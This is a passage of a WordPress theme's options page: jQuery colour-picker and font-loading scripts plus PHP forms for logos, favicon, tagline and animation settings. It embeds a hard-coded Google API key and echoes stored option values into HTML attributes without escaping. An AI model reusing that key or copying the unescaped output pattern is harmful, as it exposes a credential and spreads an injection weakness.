function()\n\t\t\t\t\t{\n\t\t\t\t\t\tvar cp = $( this );\n\t\t\t\t\t\t\n\t\t\t\t\t\tcp.ColorPicker(\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcolor: '#ffffff',\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tonBeforeShow: function ()\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar myColor = $( this ).next( 'input' ).val();\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( myColor != \"\" )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$(this).ColorPickerSetColor( myColor );\n\t\t\t\t\t\t\t\t\t// cp.find( 'div' ).css( 'backgroundColor', '#' + myColor );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tonChange: function ( hsb, hex, rgb )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcp.find( 'div' ).css( 'backgroundColor', '#' + hex );\n\t\t\t\t\t\t\t\tcp.next( 'input' ).val( hex );\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tonSubmit: function( hsb, hex, rgb, el )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$( el ).val( hex );\n\t\t\t\t\t\t\t\t$( el ).ColorPickerHide();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$( '.color' ).change( function()\n\t\t\t\t\t{\n\t\t\t\t\t\tvar myColor = $( this ).val();\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( this ).prev( 'div' ).find( 'div' ).css( 'backgroundColor', '#' + myColor );\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$( '.color' ).keypress( function()\n\t\t\t\t\t{\n\t\t\t\t\t\tvar myColor = $( this ).val();\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( this ).prev( 'div' ).find( 'div' ).css( 'backgroundColor', '#' + myColor );\n\t\t\t\t\t});\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\t\t\t\t\n\t\t\t\t\t$( 'form.ajax-form' ).submit(function()\n\t\t\t\t\t{\n\t\t\t\t\t\t$.ajax(\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdata : $(this).serialize(),\n\t\t\t\t\t\t\ttype: \"POST\",\n\t\t\t\t\t\t\tbeforeSend: function()\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$('.status img').show();\n\t\t\t\t\t\t\t\t$('.status strong').html('Saving...');\n\t\t\t\t\t\t\t\t$('.status').fadeIn();\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tsuccess: function(data)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$('.status img').hide();\n\t\t\t\t\t\t\t\t$('.status strong').html('Done.');\n\t\t\t\t\t\t\t\t$('.status').delay(1000).fadeOut();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t});\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t\n\t\t\t\t\tvar calcHeight = function()\n\t\t\t\t\t{\n\t\t\t\t\t\t$( \"#preview-frame\" ).height($(window).height() - 100);\n\t\t\t\t\t}\n\n\t\t\t\t\t$(document).ready(function()\n\t\t\t\t\t{\n\t\t\t\t\t\tcalcHeight();\n\t\t\t\t\t});\n\n\t\t\t\t\t$(window).resize(function()\n\t\t\t\t\t{\n\t\t\t\t\t\tcalcHeight();\n\t\t\t\t\t\t\n\t\t\t\t\t}).load(function()\n\t\t\t\t\t{\n\t\t\t\t\t\tcalcHeight();\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t*/\n\t\t\t\t\n\t\t\t\t// -------------------------------------------------------------------------\n\t\t\t\t});\n\t\t\t</script>\n\t\t\t\n\t\t\t<script>\n\t\t\t\tjQuery(document).ready( function( $ )\n\t\t\t\t{\n\t\t\t\t\t$.getJSON( 'https://www.googleapis.com/webfonts/v1/webfonts?key=AIzaSyB0rWmDdkA9XmNfGKBpBF9jgkk1759sBHc&callback=?', {}, function ( data )\n\t\t\t\t\t{\n\t\t\t\t\t\t$.each( data.items, function ( index, value )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$( '#site_name_font, #heading_font, #content_font' ).append( $( '<option></option>' ).attr( 'value', value.family ).text( value.family ) );\n\t\t\t\t\t\t});\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#site_name_font option[value=\"' + $( '#site_name_font_family' ).val() + '\"]' ).attr( 'selected', 'selected' );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#heading_font option[value=\"' + $( '#heading_font_family' ).val() + '\"]' ).attr( 'selected', 'selected' );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#content_font option[value=\"' + $( '#content_font_family' ).val() + '\"]' ).attr( 'selected', 'selected' );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#site_name_font' ).trigger('change');\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#heading_font' ).trigger('change');\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#content_font' ).trigger('change');\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$( '#site_name_font' ).live( 'change', function ()\n\t\t\t\t\t{\n\t\t\t\t\t\t$( 'body' ).append( '<link rel=\"stylesheet\" type=\"text/css\" href=\"http://fonts.googleapis.com/css?family=' + escape( $( this ).val() ) + '\">' );\n\n\t\t\t\t\t\t$( 'body .site_name_font_live' ).css( { 'font-family' : '\"' + $( this ).val() + '\"' } );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#site_name_font_family' ).attr( 'value', $( this ).val() );\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$( '#heading_font' ).live( 'change', function ()\n\t\t\t\t\t{\n\t\t\t\t\t\t$( 'body' ).append( '<link rel=\"stylesheet\" type=\"text/css\" href=\"http://fonts.googleapis.com/css?family=' + escape( $( this ).val() ) + '\">' );\n\n\t\t\t\t\t\t$( 'body .heading_font_live' ).css( { 'font-family' : '\"' + $( this ).val() + '\"' } );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#heading_font_family' ).attr( 'value', $( this ).val() );\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$( '#content_font' ).live( 'change', function ()\n\t\t\t\t\t{\n\t\t\t\t\t\t$( 'body' ).append( '<link rel=\"stylesheet\" type=\"text/css\" href=\"http://fonts.googleapis.com/css?family=' + escape( $( this ).val() ) + '\">' );\n\n\t\t\t\t\t\t$( 'body .content_font_live' ).css( { 'font-family' : '\"' + $( this ).val() + '\"' } );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$( '#content_font_family' ).attr( 'value', $( this ).val() );\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t</script>\n\t\t\t\n\t\t\t<?php\n\t\t\t\tif ( isset( $_GET['tab'] ) )\n\t\t\t\t{\n\t\t\t\t\tcreate_tabs( $_GET['tab'] );\n\t\t\t\t}\t\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tcreate_tabs( 'general' );\n\t\t\t\t}\n\t\t\t?>\n\n\t\t\t<div id=\"poststuff\">\n\t\t\t\t<?php\n\t\t\t\t\t// options page\n\t\t\t\t\tif ( $pagenow == 'themes.php' && $_GET['page'] == 'theme-options' )\n\t\t\t\t\t{\n\t\t\t\t\t\t// tab from url\n\t\t\t\t\t\tif ( isset( $_GET['tab'] ) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tab = $_GET['tab'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tab = 'general'; \n\t\t\t\t\t\t}\n\t\t\t\t\t\t// end tab from url\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t// tab content\n\t\t\t\t\t\tswitch ( $tab )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 'general' :\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( esc_attr( @$_GET['saved'] ) == 'true' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"alert-success\" title=\"Click to close\"><p><strong>Saved.</strong></p></div>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<div class=\"postbox\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"inside\">\n\t\t\t\t\t\t\t\t\t\t\t<form class=\"ajax-form\" method=\"post\" action=\"<?php admin_url( 'themes.php?page=theme-options' ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\twp_nonce_field( \"settings-page\" );\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t<table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Image Logo</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$image_logo = get_option( 'image_logo' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"image_logo\" name=\"image_logo\" class=\"upload code2\" style=\"width: 100%;\" value=\"<?php echo $image_logo; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"button\" class=\"button upload-button\" style=\"margin-top: 10px;\" value=\"Browse\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<img style=\"margin-top: 10px; max-height: 50px;\" align=\"right\" alt=\"\" src=\"<?php echo $image_logo; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUpload a logo or specify an image address of your online logo.<br>Recommended dimensions: (230x60)px\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Text Logo</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"text_logo\" name=\"text_logo\" style=\"width: 100%;\" rows=\"1\" cols=\"50\"><?php echo stripcslashes( get_option( 'text_logo' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSite title.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Tagline</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<textarea id=\"text_slogan\" name=\"text_slogan\" style=\"width: 100%;\" rows=\"2\" cols=\"50\"><?php echo stripcslashes( get_option( 'text_slogan' ) ); ?></textarea>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tIn a few words, explain what this site is about.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Favicon</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$favicon = get_option( 'favicon' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"favicon\" name=\"favicon\" class=\"upload code2\" style=\"width: 100%;\" value=\"<?php echo $favicon; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"button\" class=\"button upload-button\" style=\"margin-top: 10px;\" value=\"Browse\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<img style=\"margin-top: 10px; max-height: 16px;\" align=\"right\" alt=\"\" src=\"<?php echo $favicon; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t(16x16)px ICO, PNG or GIF format.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Apple Touch Icon</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$apple_touch_icon = get_option( 'apple_touch_icon' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"apple_touch_icon\" name=\"apple_touch_icon\" class=\"upload code2\" style=\"width: 100%;\" value=\"<?php echo $apple_touch_icon; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"button\" class=\"button upload-button\" style=\"margin-top: 10px;\" value=\"Browse\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<img style=\"margin-top: 10px; max-height: 50px;\" align=\"right\" alt=\"\" src=\"<?php echo $apple_touch_icon; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMinimum (145x145)px PNG image that will represent your website's favicon for Apple devices such as the iPod Touch, iPhone and iPad, as well as some Android devices.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Login Logo</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$login_logo = get_option( 'login_logo' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"text\" id=\"login_logo\" name=\"login_logo\" class=\"upload code2\" style=\"width: 100%;\" value=\"<?php echo $login_logo; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"button\" class=\"button upload-button\" style=\"margin-top: 10px;\" value=\"Browse\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<img style=\"margin-top: 10px; max-height: 50px;\" align=\"right\" alt=\"\" src=\"<?php echo $login_logo; ?>\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<br>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"hide_login_logo\" name=\"hide_login_logo\" <?php if ( get_option( 'hide_login_logo' ) ) { echo 'checked=\"checked\"'; } ?>> Hide Login Logo Module</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tUpload.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\" class=\"button button-primary button-large\" value=\"Save Changes\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"settings-submit\" value=\"Y\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t</form>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t<!-- end .inside -->\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t<!-- end .postbox -->\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tcase 'animation' :\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ( esc_attr( @$_GET['saved'] ) == 'true' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\techo '<div class=\"alert-success\" title=\"Click to close\"><p><strong>Saved.</strong></p></div>';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t<div class=\"postbox\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"inside\">\n\t\t\t\t\t\t\t\t\t\t\t<form method=\"post\" action=\"<?php admin_url( 'themes.php?page=theme-options' ); ?>\" class=\"ajax-form\">\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\twp_nonce_field( \"settings-page\" );\n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t<table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Regular Pages</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$single_page_viewing = get_option( 'single_page_viewing', 'Yes' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"single_page_viewing\" name=\"single_page_viewing\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $single_page_viewing == 'Yes' ) { echo 'selected=\"selected\"'; } ?>>Yes</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $single_page_viewing == 'No' ) { echo 'selected=\"selected\"'; } ?>>No</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tEnable/disable single page viewing.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"enable_safe_mod\" name=\"enable_safe_mod\" <?php if ( get_option( 'enable_safe_mod' ) ) { echo 'checked=\"checked\"'; } ?> value=\"enable_safe_mod\"> Activate Classic Layout</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDisable 3D layout for all devices.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"disable_mobile_safe_mod\" name=\"disable_mobile_safe_mod\" <?php if ( get_option( 'disable_mobile_safe_mod' ) ) { echo 'checked=\"checked\"'; } ?> value=\"disable_mobile_safe_mod\"> Use 3D Layout on Mobile Devices</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tEnable 3D layout on smartphones.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<label><input type=\"checkbox\" id=\"enable_scrollbar\" name=\"enable_scrollbar\" value=\"enable_scrollbar\" <?php if ( get_option( 'enable_scrollbar' ) ) { echo 'checked=\"checked\"'; } ?>> Always Show Scrollbar</label>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-right\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tEnable scrollbar.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td class=\"option-left\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<h4>Safe Mode Page-in Animation</h4>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif ( get_option( 'safe_mod_page_in_animation' ) )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$safe_mod_page_in_animation = get_option( 'safe_mod_page_in_animation' );\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$safe_mod_page_in_animation = 'fadeInLeft';\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<select id=\"safe_mod_page_in_animation\" name=\"safe_mod_page_in_animation\" style=\"width: 100%;\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == \"\" ) { echo 'selected=\"selected\"'; } ?>></option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'flash' ) { echo 'selected=\"selected\"'; } ?>>flash</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'bounce' ) { echo 'selected=\"selected\"'; } ?>>bounce</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'shake' ) { echo 'selected=\"selected\"'; } ?>>shake</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'tada' ) { echo 'selected=\"selected\"'; } ?>>tada</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'swing' ) { echo 'selected=\"selected\"'; } ?>>swing</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'wobble' ) { echo 'selected=\"selected\"'; } ?>>wobble</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'wiggle' ) { echo 'selected=\"selected\"'; } ?>>wiggle</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'pulse' ) { echo 'selected=\"selected\"'; } ?>>pulse</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'flip' ) { echo 'selected=\"selected\"'; } ?>>flip</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'flipInX' ) { echo 'selected=\"selected\"'; } ?>>flipInX</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'flipInY' ) { echo 'selected=\"selected\"'; } ?>>flipInY</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeIn' ) { echo 'selected=\"selected\"'; } ?>>fadeIn</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( $safe_mod_page_in_animation == 'fadeInUp' ) { echo 'selected=\"selected\"'; } ?>>fadeInUp</option>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<option <?php if ( 